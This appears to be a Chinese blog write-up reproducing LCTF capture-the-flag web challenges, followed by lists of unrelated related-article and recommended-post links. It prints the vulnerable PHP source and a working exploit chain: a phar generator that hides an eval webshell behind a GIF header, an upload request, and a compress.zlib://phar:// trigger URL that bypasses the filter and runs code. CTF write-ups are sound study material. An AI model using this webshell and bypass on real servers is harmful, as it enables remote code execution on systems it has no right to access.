LCTF wp简单复现
1、T4lk 1s ch34p,sh0w m3 the sh31l
代码如下:
<?php $SECRET = `../read_secret`;
$SANDBOX = "../data/" . md5($SECRET. $_SERVER["REMOTE_ADDR"]);
$FILEBOX = "../file/" . md5("K0rz3n". $_SERVER["REMOTE_ADDR"]);
mkdir($SANDBOX);
mkdir($FILEBOX);
echo "$FILEBOX"; if (!isset($_COOKIE["session-data"])) {
$data = serialize(new User($SANDBOX));
$hmac = hash_hmac("md5", $data, $SECRET);
setcookie("session-data", sprintf("%s-----%s", $data, $hmac));
} class User {
public $avatar;
function __construct($path) {
$this->avatar = $path;
}
} class K0rz3n_secret_flag {
protected $file_path;
function __destruct(){
if(preg_match('/(log|etc|session|proc|read_secret|history|class)/i', $this->file_path)){
die("Sorry Sorry Sorry");
}
include_once($this->file_path);
}
} function check_session() {
global $SECRET;
$data = $_COOKIE["session-data"];
list($data, $hmac) = explode("-----", $data, 2);
if (!isset($data, $hmac) || !is_string($data) || !is_string($hmac)){
die("Bye");
}
if ( !hash_equals(hash_hmac("md5", $data, $SECRET), $hmac) ){
die("Bye Bye");
}
$data = unserialize($data); if ( !isset($data->avatar) ){
die("Bye Bye Bye");
}
return $data->avatar;//返回上传路径
} function upload($path) {
if(isset($_GET['url'])){
if(preg_match('/^(http|https).*/i', $_GET['url'])){
$data = file_get_contents($_GET["url"] . "/avatar.gif");
if (substr($data, 0, 6) !== "GIF89a"){
die("Fuck off");
}
//?m=upload&url=http://vps/avatar.gif
file_put_contents($path . "/avatar.gif", $data);
die("Upload OK");
}else{
die("Hacker");
}
}else{
die("Miss the URL~~");
}
} function show($path) {
if ( !is_dir($path) || !file_exists($path . "/avatar.gif")) { $path = "/var/www";
}
header("Content-Type: image/gif");
die(file_get_contents($path . "/avatar.gif"));
} function check($path){
if(isset($_GET['c'])){
if(preg_match('/^(ftp|php|zlib|data|glob|phar|ssh2|rar|ogg|expect)(.|\\s)*|(.|\\s)*(file)(.|\\s)*/i',$_GET['c'])){
die("Hacker Hacker Hacker");
}else{
$file_path = $_GET['c'];
list($width, $height, $type) = @getimagesize($file_path);
die("Width is :" . $width." px<br>" .
"Height is :" . $height." px<br>");
}
}else{
list($width, $height, $type) = @getimagesize($path."/avatar.gif");
die("Width is :" . $width." px<br>" .
"Height is :" . $height." px<br>");
}
} function move($source_path,$dest_name){
global $FILEBOX;
$dest_path = $FILEBOX . "/" . $dest_name;
if(preg_match('/(log|etc|session|proc|root|secret|www|history|file|\.\.|ftp|php|phar|zlib|data|glob|ssh2|rar|ogg|expect|http|https)/i',$source_path)){
die("Hacker Hacker Hacker");
}else{
if(copy($source_path,$dest_path)){
die("Successful copy");
}else{
die("Copy failed");
}
}
} $mode = $_GET["m"]; if ($mode == "upload"){
upload(check_session());
}
else if ($mode == "show"){
show(check_session());
}
else if ($mode == "check"){
check(check_session());
}
else if($mode == "move"){
move($_GET['source'],$_GET['dest']);
}
else{ highlight_file(__FILE__);
}
1、上传恶意文件,反序列化的时候包含上传的文件,注意生成的avatar.gif不仅可以反序列化覆盖上传路径$file_path,也可以通过setStub向恶意文件中写入php代码,文件包含
?m=upload&url=http://vps/avatar.gif
<?php
class K0rz3n_secret_flag {
protected $file_path='/var/www/data/67bf5ff3cfa1cdd00f700328698c2adb/avatar.gif';
function __destruct(){
if(preg_match('/(log|etc|session|proc|read_secret|history|class)/i', $this->file_path)){
die("Sorry Sorry Sorry");
}
include_once($this->file_path);
}
} $a= new K0rz3n_secret_flag();
$p = new Phar('./1.phar', 0);
$p->startBuffering();
$p->setStub('GIF89a<?php echo 1;eval($_GET["a"]);?'.'><?php __HALT_COMPILER(); ?'.'>');
$p->setMetadata($a);
$p->addFromString('1.txt','text');
$p->stopBuffering();
rename('./1.phar', 'avatar.gif');
生成的恶意文件

2、check的时候触发反序列化。通过compress.zlib://phar绕过正则。参考链接:https://blog.zsxsoft.com/post/38
http://212.64.7.171/LCTF.php?m=check&c=compress.zlib://phar:///var/www/data/dccb75e38fe3fc2c70fd169f263e6d37/avatar.gif&a=phpinfo();
2、bestphp's revenge
通过Soap类进行反序列化,进行ssrf.具体参考:https://xz.aliyun.com/t/3339#toc-3 https://xz.aliyun.com/t/3341#toc-22 https://www.anquanke.com/post/id/164569
参考链接:
https://xz.aliyun.com/t/3341#toc-8
https://xz.aliyun.com/t/3339#toc-4
https://xz.aliyun.com/t/3340#toc-3
LCTF wp简单复现的更多相关文章
- DVWA中low级的sql注入漏洞的简单复现
第一次成功复现一个简单漏洞,于是写下这篇随笔记录一下 首先我们来看dvwa中low级的sql注入的源码 源码文件路径如下图: 源码如下: <?php if(isset($_GET['Submit ...
- CVE-2017-3248简单复现
我是这样操作的 目标跟windows在一个段,linux是另一个段的,我的虚拟机 windows主机上 `java -cp ysoserial.jar ysoserial.exploit.JRMPLi ...
- PHP-FPM 远程代码执行漏洞(CVE-2019-11043)的简单复现学习
1.概述 漏洞主要由于 PHP-FPM 中 sapi/ fpm/ fpm/ fpm_main.c 文件内的 env_path_info 下溢导致,攻击者可以使用换行符 %0a 破坏 Nginx 中 f ...
- CVE-2020-5902 简单复现
这几天通报了f5的一个漏洞,想着先弄个环境保存着,说不定后面就用到了.. 1.漏洞描述 近日,F5官方发布公告,修复了流量管理用户界面(TMUI)中存在的一个远程代码执行漏洞(CVE-2020-5 ...
- CVE-2019-0708简单复现
各文件对应位置 rdp.rb -> /usr/share/metasploit-framework/lib/msf/core/exploit/rdp.rb rdp_scanner.rb -> ...
- BUUCTF复现记录2
[CISCN2019 华北赛区 Day1 Web1]Dropbox 打开题目,一个登录界面,SQL? sqlmap跑一下,没有注入,那么注册一下 登录之后,发现只有一个上传页面,源码里面也没有什么 那 ...
- addEventListener 和 onclick 简单比较
首先说一下addEventListener 语法: element.addEventListener(event, function, useCapture) 这里的event是事件名,functio ...
- 2019-9-28:渗透测试,phpstudy后门,利用复现
9月20号爆出Phpstudy存在隐藏后门,简单复现下后门效果 该文章仅供学习,利用方法来自网络文章,仅供参考 目标机:win7系统,安装phpstudy 2018版,php版本5.2或php 5.4 ...
- BUUCTF复现记录1
平台地址:https://buuoj.cn/ 里面很多之前的题目,不错的平台.另外幕后大哥博客https://www.zhaoj.in/ 以下的解题,都是参考各位大佬的WP去复现,重在记录下 ...
随机推荐
- SQL空和NULL的区别
1.NULL意思为缺失的值(missing value). 2.三值逻辑(three-valued-logic: TRUE,FALSE,UNKNOWN). 在SQL中有三个逻辑谓词:TURE,FALS ...
- CentOS 7重装mysql8.0.15
查看是否安装有mysql rpm -qa | grep mysql 有的话先删除干净 下载MySQL yum源 wget https://dev.mysql.com/get/mysql80-commu ...
- 撩课-Java每天5道面试题第22天
141.Spring AOP是什么? AOP:面向切面编程 AOP技术利用一种称为“横切”的技术, 解剖封装的对象内部, 并将那些影响了多个类的公共行为 封装到一个可重用模块, 这样就能减少系统的重复 ...
- Linux 中文乱码
开发中不免会接触到linux,Linux系统中文语言乱码也是我们常碰到的一个问题之一. 在网上查找了不少资料,参考了https://www.linuxidc.com/Linux/2017-07/145 ...
- [LeetCode] Binary Tree Postorder题解
Binary Tree Postorder Given a binary tree, return the postorder traversal of its nodes' values. For ...
- bnu 4060 奇偶性,异或运算
Plants vs. Zombies Time Limit: 5000ms Memory Limit: 2048KB 64-bit integer IO format: %lld Jav ...
- Java SE 8 的流库学习笔记
前言:流提供了一种让我们可以在比集合更高的概念级别上指定计算的数据视图.如: //使用foreach迭代 long count = 0; for (String w : words) { if (w. ...
- javaweb项目中绝对路径的写法理解
Tomcat的默认访问路径为http://localhost:8080,后需添加项目路径. 请求转发,是转发到本项目中的其他文件,所以在默认访问路径中添加了本项目的项目路径,故可以省略项目名称: re ...
- css3在页面中插入内容
A. 使用选择器来插入内容 h2:before{ content:"前缀"; } h2:after{ content:"后缀"; } B. 指定个别的元素不进行 ...
- Spring Data MongoDB 查询指定字段
DBObject dbObject = new BasicDBObject(); //dbObject.put("name", "zhangsan"); //查 ...